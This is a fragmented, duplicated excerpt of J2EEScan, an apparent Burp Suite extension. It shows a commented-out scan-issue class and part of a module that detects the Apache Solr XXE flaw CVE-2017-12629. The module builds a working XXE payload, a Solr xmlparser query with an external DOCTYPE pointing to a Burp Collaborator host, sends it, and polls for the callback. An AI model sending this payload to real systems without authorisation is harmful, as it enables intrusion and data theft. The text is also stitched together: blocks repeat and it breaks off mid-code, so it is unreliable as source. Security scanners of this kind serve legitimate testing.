// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
// 
//     private IHttpService httpService;
//     private URL url;
//     private IHttpRequestResponse httpMessages;
//     private String name;
//     private String detail;
//     private Risk severity;
//     private String remedy;
//     private Confidence confidence = Confidence.Certain;
//     
//     public CustomScanIssue(
//             IHttpService httpService,
//             URL url,
//             IHttpRequestResponse httpMessages,
//             String name,
//             String detail,
//             String remedy,
//             Risk severity,
//             Confidence confidence) {
//         this.httpService = httpService;
//         this.url = url;
//         this.httpMessages = httpMessages;
//         this.name = "J2EEScan - " + name;
//         this.detail = detail;
//         this.remedy = remedy;
//         this.severity = severity;
//         this.confidence = confidence;
//     }      
//     
// 
//     @Override
//     public URL getUrl() {
//         return url;
//     }
// 
//     @Override
//     public String getIssueName() {
//         return name;
//     }
// 
//     @Override
//     public int getIssueType() {
//         return 0;
//     }
// 
//     @Override
//     public String getSeverity() {
//         return severity.toString();
//     }
// 
//     @Override
//     // "Certain", "Firm" or "Tentative"
//     public String getConfidence() {
//         return confidence.toString();
//     }
// 
//     @Override
//     public String getIssueBackground() {
//         return null;
//     }
// 
//     @Override
//     public String getRemediationBackground() {
//         return null;
//     }
// 
//     @Override
//     public String getIssueDetail() {
//         return detail;
//     }
// 
//     @Override
//     public String getRemediationDetail() {
//         return remedy;
//     }
// 
//     @Override
//     public IHttpRequestResponse[] getHttpMessages() {
//         return new IHttpRequestResponse[]{httpMessages};
//     }
// 
//     @Override
//     public IHttpService getHttpService() {
//         return httpService;
//     }
// 
// }


import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.util.ArrayList;
import java.util.List;
            + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12629<br />"
            + "https://www.exploit-db.com/exploits/43009/";

    private static final String REMEDY = "It's reccomended to apply the security patch provided by the mantainer:<br />"
            + "https://issues.apache.org/jira/browse/SOLR-11482<br />" 
            + "https://issues.apache.org/jira/browse/SOLR-11477<br />" 
            + "https://wiki.apache.org/solr/SolrSecurity";

    public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {

        IExtensionHelpers helpers = callbacks.getHelpers();
        List<IScanIssue> issues = new ArrayList<>();

        String xxesolr = "{!xmlparser v='<!DOCTYPE a SYSTEM \"http://%s/xxe\"><a></a>'}";

        // Collaborator context
        IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
        String currentCollaboratorPayload = collaboratorContext.generatePayload(true);

        String xxePayload = String.format(xxesolr, currentCollaboratorPayload);

        byte[] checkRequest = insertionPoint.buildRequest(xxePayload.getBytes());

        IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
                baseRequestResponse.getHttpService(), checkRequest);

        // Poll Burp Collaborator for remote interaction
        List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);

        if (!collaboratorInteractions.isEmpty()) {
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
// 
//     private IHttpService httpService;
//     private URL url;
//     private IHttpRequestResponse httpMessages;
//     private String name;
//     private String detail;
//     private Risk severity;
//     private String remedy;
//     private Confidence confidence = Confidence.Certain;
//     
//     public CustomScanIssue(
//             IHttpService httpService,
//             URL url,
//             IHttpRequestResponse httpMessages,
//             String name,
//             String detail,
//             String remedy,
//             Risk severity,
//             Confidence confidence) {
//         this.httpService = httpService;
//         this.url = url;
//         this.httpMessages = httpMessages;
//         this.name = "J2EEScan - " + name;
//         this.detail = detail;
//         this.remedy = remedy;
//         this.severity = severity;
//         this.confidence = confidence;
//     }      
//     
// 
//     @Override
//     public URL getUrl() {
//         return url;
//     }
// 
//     @Override
//     public String getIssueName() {
//         return name;
//     }
// 
//     @Override
//     public int getIssueType() {
//         return 0;
//     }
// 
//     @Override
//     public String getSeverity() {
//         return severity.toString();
//     }
// 
//     @Override
//     // "Certain", "Firm" or "Tentative"
//     public String getConfidence() {
//         return confidence.toString();
//     }
// 
//     @Override
//     public String getIssueBackground() {
//         return null;
//     }
// 
//     @Override
//     public String getRemediationBackground() {
//         return null;
//     }
// 
//     @Override
//     public String getIssueDetail() {
//         return detail;
//     }
// 
//     @Override
//     public String getRemediationDetail() {
//         return remedy;
//     }
// 
//     @Override
//     public IHttpRequestResponse[] getHttpMessages() {
//         return new IHttpRequestResponse[]{httpMessages};
//     }
// 
//     @Override
//     public IHttpService getHttpService() {
//         return httpService;
//     }
// 
// }


// Path: src/main/java/burp/j2ee/issues/impl/ApacheSolrXXE.java
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.util.ArrayList;
import java.util.List;

            + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12629<br />"
            + "https://www.exploit-db.com/exploits/43009/";

    private static final String REMEDY = "It's reccomended to apply the security patch provided by the mantainer:<br />"
            + "https://issues.apache.org/jira/browse/SOLR-11482<br />" 
            + "https://issues.apache.org/jira/browse/SOLR-11477<br />" 
            + "https://wiki.apache.org/solr/SolrSecurity";

    public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {

        IExtensionHelpers helpers = callbacks.getHelpers();
        List<IScanIssue> issues = new ArrayList<>();

        String xxesolr = "{!xmlparser v='<!DOCTYPE a SYSTEM \"http://%s/xxe\"><a></a>'}";

        // Collaborator context
        IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
        String currentCollaboratorPayload = collaboratorContext.generatePayload(true);

        String xxePayload = String.format(xxesolr, currentCollaboratorPayload);

        byte[] checkRequest = insertionPoint.buildRequest(xxePayload.getBytes());

        IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
                baseRequestResponse.getHttpService(), checkRequest);

        // Poll Burp Collaborator for remote interaction
        List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);

        if (!collaboratorInteractions.isEmpty()) {
            issues.add(new CustomScanIssue(